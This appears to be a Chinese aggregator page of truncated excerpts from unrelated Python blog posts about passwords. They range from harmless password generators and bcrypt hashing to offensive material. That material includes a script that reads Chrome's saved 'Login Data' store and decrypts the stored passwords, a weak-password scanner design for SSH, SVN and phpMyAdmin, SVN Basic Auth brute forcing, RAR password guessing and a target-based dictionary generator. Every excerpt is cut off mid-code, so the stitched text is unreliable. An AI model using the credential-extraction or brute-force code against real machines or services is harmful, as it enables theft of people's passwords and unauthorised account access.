题目密码是我们生活中非常重要的东东,我们的那么一点不能说的秘密就全靠它了。哇哈哈. 接下来渊子要在密码之上再加一套密码,虽然简单但也安全。 假设渊子原来一个BBS上的密码为zvbo9441987,为了方便记忆,他通过一种算法把这个密码变换成YUANzhi1987,这个密码是他的名字和出生年份,怎么忘都忘不了,而且可以明目张胆地放在显眼的地方而不被别人知道真正的密码。 他是这么变换的,大家都知道手机上的字母: 1--1, abc--2, ...
不知道为什么,本机测试必须要在debug模式下才正常运行。。import getpass #用于隐藏用户输入的字符串,常用来接收密码def checkuser(user,passwd):if user == ‘chenhang‘and passwd == ‘123456‘:return Trueelse:return Falseif__name__ == "__main__":userr = input(‘Input the user:‘)passwdd = getpass.getpass(‘Input the passwd:‘)if checkuser(userr,passwdd):print(‘OK!‘)else...
1、获取网站课程的分类地址;‘‘‘ 爬取屌丝首页,获取每个分类名称和链接 ‘‘‘import requests from lxml import etreeheaders = {‘User-Agent‘:‘Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36‘, } def get_class_data():list_data = []url = ‘http://www.diaosiweb.net/index.html‘responese = requests.get(url,headers=headers)responese.encoding...
听说不想扯淡的程序猿,不是一只好猿。所以今天来扯扯淡,不贴代码,只讲设计思想。 0x00 起 - 初始设计我们的目标是设计一枚通用的弱密码扫描器,基本功能是针对不同类型的弱密码,可方便的扩展,比如添加SSH、SVN、phpmyadmin的弱密码扫描功能。我们设定启动方法是命令行,可以通过命令行指定扫描对象,以及扫描哪些弱密码。既然是要求可扩展,那我们首先来编写一个通用的框架,然后通过添加POC的方法来实现扩展。在这个框架中,...
script01 import re, random, stringcount1 = int(input(‘请输入密码个数(必须大于0): ‘)) i = 0 passwds = [] while i < count1:tmp = random.sample(string.ascii_letters + string.digits, 10)passwd = ‘‘.join(tmp)if re.search(‘[0-9]‘, passwd) and re.search(‘[A-Z]‘, passwd) and re.search(‘[a-z]‘, passwd):passwds.append(passwd)i += 1 print(passwds)script02import string import randompassword_length ...
花了很大的力气下了些资料,结果发现解压缩rar文件竟然要密码。不知道密码,找啊找,密码没找到,找到了试图猜密码的代码,copy下来试一试,发觉大海捞针试图猜密码肯本不可能,放弃了。1.Install rarfile and unrar 在commandline中,运行:pip install selenium 在PyCharm中,点击 File -> Settings -> Project -> Python Interpreter -> + -> 输入selenium,点击install2.有个问题,虽然安装了unrar,但是并不能解压,原因是...
题目生成一个指定长度(8位)的字符串,包括数字、字母、特殊符号实现方案1、使用string库实现string库比较常用的字符说明:方案1代码import random import string#先看下string库里面包括哪些字符类型: print("string.ascii_letters: "+string.ascii_letters) #所有字母 print("string.ascii_lowercase: "+string.ascii_lowercase) #小写字母 print("string.ascii_uppercase: "+string.ascii_uppercas...
class Password(object):"""docstring for Combination"""def __init__(self, chas=[chr(j) for j in range(32,127)]):super(Combination, self).__init__()self.chas = chasdef straddone(self,string,index=-1):chars_len = len(self.chas)sting_len = len(string)endstr = self.chas[-1]*sting_lenif string != endstr:i = self.chas.index(string[index])if i >= chars_len-1:i = 0arr = list(string)arr[index] = self.chas[i...
#coding:utf-8import os import sys import sqlite3 import win32cryptdirectory_path = r‘Google\Chrome\User Data\Default\Login Data‘ file_path=os.path.join(os.environ[‘LOCALAPPDATA‘],directory_path) conn=sqlite3.connect(file_path) cursor = conn.cursor() cursor.execute(‘select username_value, password_value, signon_realm from logins‘) for data in cursor.fetchall():passwd = win32crypt.CryptUnprote...
前言emmmm高精度密码字典源码 1.pyimport exrex import sys#url过滤处理def host_para(host):if‘://‘in host:host=host.split(‘://‘)[1].replace(‘/‘,‘‘)if‘/‘in host: host=host.replace(‘/‘,‘‘)return hostdef dic_creat(hosts):web_white=[‘com‘,‘com‘,‘cn‘,‘gov‘,‘edu‘] #后缀白名单 #web_dics=hosts.split(‘.‘)#将传进来的域名以.分割 f_rule=open(‘rule.ini‘,‘r‘)#引入配置文件for i in f_...
随机密码生成描述补充编程模板中代码,完成如下功能:????????????????????????????????????????????????????????????????????????????????????????????????以整数17为随机数种子,获取用户输入整数N为长度,产生3个长度为N位的密码,密码的每位是一个数字。每个密码单独一行输出。????????????????????????????????????????????????????????????????????????????????????????????????产生密码采用random.randint()函数。?????????...
寂寞如雪的用脑过度,所以来写个博客分享一下。#虽然上一篇博客我还没写完 SVN的弱密码,看起来很复杂,但实际上很简单啊= =虽然不像pymssql/mymssql这种,Python提供了很好用的包,但如果了解其中的原理就很简单了~~ 0x00 基本认知首先要知道如下图所示的认证方式是什么认证:这个涉及到HTTP认证方式,具体可以参考 http://blog.csdn.net/samlei/article/details/5485305SVN用了最简单的Basic Auth。Basic Auth的利用非常广泛,比...
机器学习近来火得可谓人尽皆知。其实楼主现在的研究方向是椭圆曲线密码的硬件实现。so,我一直以为这跟Python,神经网络啥的确是八竿子打不着,然而,这个世界上就是不缺那种能开先河能摆证据撂服众生的大神。举个栗子这篇文章learing the enigma with recurrent Neural Networks。是 2017年发表于AAAI 的一篇文章,AAAI 2017是指第31届人工智能大会AAAI-17,是人工智能领域的最重磅会议之一。所以楼主也是很好奇,这里的RNN究竟是...
描述:A输入一个数值,输入时该数值已隐藏无法看到,让B猜该数字为多少,数值过小或过大都会提示,并会在最后猜对时统计出共猜了几次。脚本内容:#!/usr/bin/env python#FileName:while1.pyimport getpass #调用模块a = int(getpass.getpass(‘Enter A Number a:‘)) #模块赋值running = Truei = 0while running: b = int(raw_input(‘Enter A number b: ‘)) if a == b: print ‘\033[32mgood...
bcrypt用户登录密码加密和检查(python3环境) >>> import bcrypt ##导入模块bcrypt生成加密密码 >>> my_password=‘123456‘ >>> bytes_my_password=bytes(my_password,encoding=‘utf-8‘) ##字符强制转成bytes类型 或者 bytes_my_password=str.encode(my_password) ##字符编码成bytes类型 >>> bytes_my_password b‘123456‘ >>> bytes_my_hashpassword=bcrypt.hashpw(bytes_my_password,bcrypt.gensalt()) ...